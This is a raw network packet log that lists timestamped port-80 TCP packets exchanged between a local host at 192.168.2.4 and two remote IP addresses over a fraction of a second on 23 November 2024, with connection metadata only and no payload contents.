Nov 23, 2024 03:21:24.644314051 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.644350052 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.644409895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.644459963 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.645287991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.645399094 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.645456076 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.645469904 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.645509005 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.645553112 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.645553112 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.646300077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.646342993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.646394014 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.646687984 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.646748066 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.646820068 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.646975040 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.647332907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.647452116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.647500992 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.647810936 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.647867918 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.647903919 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.647960901 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.648351908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.648511887 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.648991108 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.649044991 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.649094105 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.649133921 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.649133921 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.649343014 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.649461031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.649516106 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.650172949 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.650232077 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.650269032 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.650330067 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.650391102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.650403023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.650440931 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.651361942 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.651406050 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.651417971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.651469946 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.651508093 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.651556015 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.652431965 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.652579069 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.652590990 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.652601957 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.652642965 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.652689934 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.652689934 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.653419971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.653525114 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.653578043 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.653742075 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.653841019 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.653846025 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.653969049 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.654438019 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.654541969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.654628038 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.654931068 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.655002117 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.655030966 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.655145884 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.655441999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.655550003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.655597925 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.656136990 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.656183958 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.656239033 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.656311035 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.656661034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.656699896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.656766891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.657315016 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.657375097 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.657450914 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.657506943 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.657520056 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.657521963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.657566071 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.658571005 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.658581972 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.658598900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.658633947 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.658658028 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.658684969 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.658703089 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.659545898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.659709930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.659732103 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.659743071 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.659786940 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.659943104 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.660543919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.660662889 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.660768032 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.660862923 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.660975933 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.661015034 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.661026001 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.661556959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.661672115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.661781073 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.662061930 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.662173986 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.662178993 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.662256002 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.662607908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.662725925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.662774086 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.663254023 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.663321972 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.663361073 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.663510084 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.663585901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.663667917 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.663714886 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.664443970 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.664536953 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.664546967 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.664613008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.664624929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.664638996 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.664665937 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.665627956 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.665678978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.665692091 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.665743113 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.665792942 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.665882111 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.665882111 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.666632891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.666738987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.666824102 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.666838884 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.666852951 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.666910887 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.667658091 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.667777061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.667834044 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.668011904 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.668103933 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.668112040 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.668154955 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.668654919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.668767929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.668823004 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.669203043 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.669255972 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.669290066 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.669341087 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.669689894 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.669781923 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.669996977 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.670397043 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.670516014 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.670523882 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.670599937 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.670682907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.670819998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.670984983 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.671581030 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.671652079 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.671755075 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.671767950 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.671880007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.671927929 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.671936035 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.672782898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.672836065 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.672848940 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.672899008 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.673007965 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.673069000 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.673088074 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.673768044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.673891068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.673934937 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.673978090 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.673989058 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.674041986 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.674041986 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.674771070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.674881935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.674937010 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.675147057 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.675252914 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.675345898 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.675772905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.675892115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.675940990 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.676340103 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.676392078 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.676453114 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.676620007 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.676779032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.676907063 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.676956892 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.677521944 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.677571058 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.677623034 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.677680016 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.677807093 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.677920103 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.678071976 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.678749084 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.678812027 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.678814888 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.678858995 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.678900957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.678913116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.678956985 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.678987980 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.679918051 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.679929972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.679941893 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.679975986 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.680001020 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.680015087 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.680043936 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.680866003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.680979967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.681090117 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.681143999 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.681181908 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.681233883 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.681233883 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.681894064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.682004929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.682050943 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.682276011 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.682327032 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.682382107 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.682423115 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.682893991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.683008909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.683063030 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.683475971 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.683541059 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.683576107 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.683921099 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.683983088 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.684027910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.684077978 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.684645891 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.684758902 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.684777021 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.684832096 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.684911013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.685039997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.685079098 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.685847044 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.685966015 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.685977936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.685978889 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.686022997 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.686060905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.686186075 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.686975956 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.687040091 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.687052011 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.687112093 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.687124968 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.687150002 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.687195063 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.687983036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.688093901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.688148022 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.688215971 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.688263893 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.688301086 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.688334942 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.689001083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.689137936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.689202070 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.689395905 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.689448118 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.689548016 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.689711094 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.690017939 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.690119982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.690229893 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.690601110 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.690668106 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.690705061 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.690840960 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.691014051 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.691138029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.691262007 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.691792011 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.691840887 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.691906929 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.691961050 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.692038059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.692147970 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.692214012 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.692975044 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.693089962 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.693095922 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.693108082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.693119049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.693164110 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.693175077 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.694083929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.694200039 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.694211006 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.694221973 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.694243908 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.694263935 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.694312096 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.695085049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.695364952 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.695458889 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.695468903 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.695770979 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.696544886 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.696604967 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.696649075 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.696695089 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.697731972 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.697829008 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.748042107 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.811464071 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.811553001 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.811558008 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.811602116 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.812061071 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.812148094 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.812166929 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.812203884 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.812969923 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.813033104 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.813064098 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.813128948 CET	49790	80	192.168.2.4	185.215.113.16
